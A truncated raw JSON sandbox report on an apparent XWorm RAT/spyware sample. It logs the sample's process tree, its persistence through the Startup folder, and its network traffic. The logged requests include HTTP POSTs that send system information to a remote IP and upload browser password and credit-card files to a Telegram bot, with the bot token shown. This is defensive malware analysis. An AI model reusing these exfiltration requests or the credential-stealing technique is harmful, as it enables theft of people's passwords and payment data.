/bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1 Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf" Host: api.telegram.org Content-Length: 285" with payload:==> "--cab6095a-de59-4c45-a8a8-d6ba0db24ddfContent-Disposition: form-data; name=document; filename=Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt; filename*=utf-8''Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt--cab6095a-de59-4c45-a8a8-d6ba0db24ddf--" "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1 Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42" Host: api.telegram.org Content-Length: 279" with payload:==> "--3d17aadf-3e9d-4760-8735-93916096ec42Content-Disposition: form-data; name=document; filename=Chromium_passwords_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt; filename*=utf-8''Chromium_passwords_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt--3d17aadf-3e9d-4760-8735-93916096ec42--"3d:T47b,Spawned process " \"a=iz&b=DESKTOP-FVVF82A%7CHAPUBWS%7CNone%7CWindows%2010%20Pro\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$3d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Creates new processes"},{"detail":"Spawns many processes"},{"detail":"Writes a file to the startup folder"}],"sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Attempts to identify external IP address"}],"sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 8 domains and 8 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]}]},"activity":{"stats":{"process_count":62,"spawned_processes_count":62,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":1,"imported_dlls_count":26,"dropped_files_count":0,"extracted_files_count":3,"files_written_count":3,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":11,"dns_resolutions_count":8,"contacted_urls_count":10,"http_requests_count":10},"behavior_tags":["commodity","xworm","rat"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69e0c8e63d6c0a37980df549","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Tedy","contacted_countries":["GBR","USA"],"submit_name":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin","analysis_start_time":"2026-04-16T11:32:55+00:00","indicators_count":{"informative":97,"suspicious":34,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"192.3.45.7","port":28288,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"address":"192.3.45.7","port":3121,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"address":"142.251.219.14","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"address":"108.139.47.92","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"address":"142.251.219.14","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"address":"142.251.150.119","port":443,"protocol":"UDP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"address":"142.251.218.110","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"address":"142.251.46.234","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"address":"142.250.115.84","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"address":"149.154.166.110","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"address":"104.16.185.241","port":80,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]}],"dns_resolutions":[{"domain":"accounts.google.com","address":"142.250.115.84","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"domain":"api.telegram.org","address":"149.154.166.110","ttl":287,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"domain":"clients2.google.com","address":"142.251.219.14","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"domain":"clientservices.googleapis.com","address":"142.251.218.110","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"domain":"icanhazip.com","address":"104.16.185.241","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"domain":"safebrowsingohttpgateway.googleapis.com","address":"142.251.46.234","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"domain":"sb.scorecardresearch.com","address":"108.139.47.92","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"domain":"www.google.com","address":"142.251.150.119","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]}],"http_requests":[{"host":"192.3.45.7:3121","host_ip":"192.3.45.7:3121","url":"/CPndoF","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /CPndoF HTTP/1.1\nAccept: */*\ncontent-type: application/x-www-form-urlencoded\nAccept-Language: en-us\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: 192.3.45.7:3121\nContent-Length: 60\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"host":"192.3.45.7:3121","host_ip":"192.3.45.7:3121","url":"/CPndoF?ia=0CPIMYQFVLGQMTAY","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1\nAccept: */*\nAccept-Language: en-us\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: 192.3.45.7:3121\nContent-Length: 0\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"host":"clients2.google.com","host_ip":"142.251.219.14:80","url":"/time/1/current?cup2key=9:8WhDXhzWg-J8QIb7HU7eiQFWb59xGuj8MBfJ2wBznCk&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /time/1/current?cup2key=9:8WhDXhzWg-J8QIb7HU7eiQFWb59xGuj8MBfJ2wBznCk&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 HTTP/1.1\nHost: clients2.google.com\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"host":"api.telegram.org","host_ip":"149.154.166.110:443","url":"/bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321","method":"POST","response_code":"400","response_phrase":"Bad Request","header":"POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1\nContent-Type: multipart/form-data; boundary=\"16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44\"\nHost: api.telegram.org\nContent-Length: 279\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"host":"icanhazip.com","host_ip":"104.16.185.241:80","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nHost: icanhazip.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"host":"clients2.google.com","host_ip":"142.251.219.14:443","url":"/service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2\nHost: clients2.google.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi\nX-Goog-Update-Updater: chromiumcrx-145.0.3800.58\nSec-Fetch-Site: none\nAccept-Language: en-US,en;q=0.9\nX-Goog-Update-Interactivity: fg\nPriority: u=1, i\nMs-Cv: ggCfzR2U6y05dzTBIn8L97\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"host":"clients2.google.com","host_ip":"142.251.219.14:443","url":"/service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2\nHost: clients2.google.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\nSec-Fetch-Mode: no-cors\nX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmieda\nX-Goog-Update-Updater: chromecrx-144.0.7559.133\nSec-Fetch-Site: none\nAccept-Language: en-US,en;q=0.9\nX-Goog-Update-Interactivity: fg\nPriority: u=1, i\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"host":"clientservices.googleapis.com","host_ip":"142.251.218.110:443","url":"/chrome-variations/seed?osname=win&channel=stable&milestone=144","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2\nHost: clientservices.googleapis.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\nSec-Fetch-Mode: no-cors\nIf-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY=\nSec-Fetch-Site: none\nA-Im: x-bm,gzip\nPriority: u=4, i\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"host":"safebrowsingohttpgateway.googleapis.com","host_ip":"142.251.46.234:443","url":"/v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2\nHost: safebrowsingohttpgateway.googleapis.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\nSec-Fetch-Mode: no-cors\nSec-Fetch-Site: none\nX-Ohttppublickey-Fst: true\nPriority: u=4, i\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]},{"host":"accounts.google.com","host_ip":"142.250.115.84:443","url":"/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2\nHost: accounts.google.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\nContent-Type: application/x-www-form-urlencoded\nSec-Fetch-Mode: no-cors\nSec-Fetch-Site: none\nAccept-Language: en-US,en;q=0.9\nOrigin: https://www.google.com\nPriority: u=4, i\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69e0c8e63d6c0a37980df549"}],"processes":[{"pid":2220,"ppid":0,"name":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe","command_line":"","sha256":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7","normalized_path":"C:\\3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe","uid":"00000000-00002220","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5220,"ppid":0,"name":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe","command_line":"","sha256":"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7","normalized_path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe","uid":"00000000-00005220","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4848,"ppid":5220,"name":"jsc.exe","command_line":"","sha256":"7410599261912ddd9f7136bf1142bd14358beefa4126cde47e18fc9f6606a569","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe","parent_uid":"00000000-00005220","uid":"00000000-00004848"},{"pid":6600,"ppid":4848,"name":"WScript.exe","command_line":"\"%TEMP%\\dobekg.js\"","sha256":"d57c8674dacc2dd3c03c70ccb823a38bd89f7cabb1663e115e0cb720a0c12c34","normalized_path":"%WINDIR%\\SysWOW64\\WScript.exe","parent_uid":"00000000-00004848","uid":"00000000-00006600"},{"pid":4908,"ppid":4848,"name":"csc.exe","command_line":"/target:exe /out:\"%TEMP%\\jsc.exe\" \"%TEMP%\\guardian_src_b7f3b081c88a41998e86f227796f27d8.cs\"","sha256":"4240a12e0b246c9d69af1f697488fe7da1b497df20f4a6f95135b4d5fe180a57","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","parent_uid":"00000000-00004848","uid":"00000000-00004908"},{"pid":4636,"ppid":4908,"name":"cvtres.exe","command_line":"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\RES3956.tmp\" \"%TEMP%\\CSC4CD304EA30914BE5B54BBE20CFDE13F1.TMP\"","sha256":"1fe531eac592b480aa4bd16052b909c3431434f17e7ae163d248355558ce43a6","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","parent_uid":"00000000-00004908","uid":"00000000-00004636"},{"pid":3856,"ppid":4848,"name":"zztlig.exe","command_line":"","sha256":"4601cbdad90284349cca8b62f5cf230209bd313e9588ce977585acd42754c2c3","normalized_path":"%TEMP%\\zztlig.exe","parent_uid":"00000000-00004848","uid":"00000000-00003856"},{"pid":6772,"ppid":3856,"name":"jsc.exe","command_line":"","sha256":"7410599261912ddd9f7136bf1142bd14358beefa4126cde47e18fc9f6606a569","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe","parent_uid":"00000000-00003856","uid":"00000000-00006772"},{"pid":4876,"ppid":6772,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\o31bbhd3.5fh\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006772","uid":"00000000-00004876"},{"pid":1400,"ppid":4876,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\o31bbhd3.5fh /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\o31bbhd3.5fh\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0xb8,0xbc,0xc0,0x94,0xc4,0x7ffec92d0068,0x7ffec92d0074,0x7ffec92d0080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004876","uid":"00000000-00001400"},{"pid":4852,"ppid":4876,"name":"chrome.exe","command_line":"--type=gpu-process --no-sandbox --user-data-dir=\"%TEMP%\\o31bbhd3.5fh\" --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --metrics-shmem-handle=1936,i,9456570613051642633,914440900268292834,262144 --field-trial-handle=2156,i,287189238027870726,6766360252919178102,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2108 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004876","uid":"00000000-00004852"},{"pid":7448,"ppid":4876,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\o31bbhd3.5fh\" --no-pre-read-main-dll --metrics-shmem-handle=2240,i,6640779367375260188,4030152471158642434,524288 --field-trial-handle=2156,i,287189238027870726,6766360252919178102,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2696 /prefetch:3","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004876","uid":"00000000-00007448"},{"pid":188,"ppid":4876,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\o31bbhd3.5fh\" --no-pre-read-main-dll --metrics-shmem-handle=2352,i,16205931887533004910,17396996644674282662,524288 --field-trial-handle=2156,i,287189238027870726,6766360252919178102,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=3200 /prefetch:8","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004876","uid":"00000000-00000188"},{"pid":7752,"ppid":6772,"name":"msedge.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00006772","uid":"00000000-00007752"},{"pid":1420,"ppid":7752,"name":"msedge.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\xj3zl1ra.z2q /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\xj3zl1ra.z2q\\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=145.0.7632.76 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=145.0.3800.58 --initial-client-data=0x370,0x3d4,0x3d0,0x36c,0x120,0x7ffec3af0f18,0x7ffec3af0f24,0x7ffec3af0f30","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00001420"},{"pid":32,"ppid":7752,"name":"msedge.exe","command_line":"--type=gpu-process --no-sandbox --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --startup-read-main-dll --metrics-shmem-handle=2124,i,9985225895540127572,16115413485558574057,262144 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2384 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00000032"},{"pid":4792,"ppid":7752,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --startup-read-main-dll --metrics-shmem-handle=2220,i,15147319571727136411,15603129144581890519,524288 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=4608 /prefetch:3","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00004792"},{"pid":2680,"ppid":7752,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --startup-read-main-dll --metrics-shmem-handle=2436,i,8222622226756444540,11292214644679058804,524288 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=4792 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00002680"},{"pid":7028,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2525886881 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=3156,i,970826850800122621,11491360207409534633,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=4824 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00007028"},{"pid":312,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --instant-process --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2526207609 --skip-read-main-dll 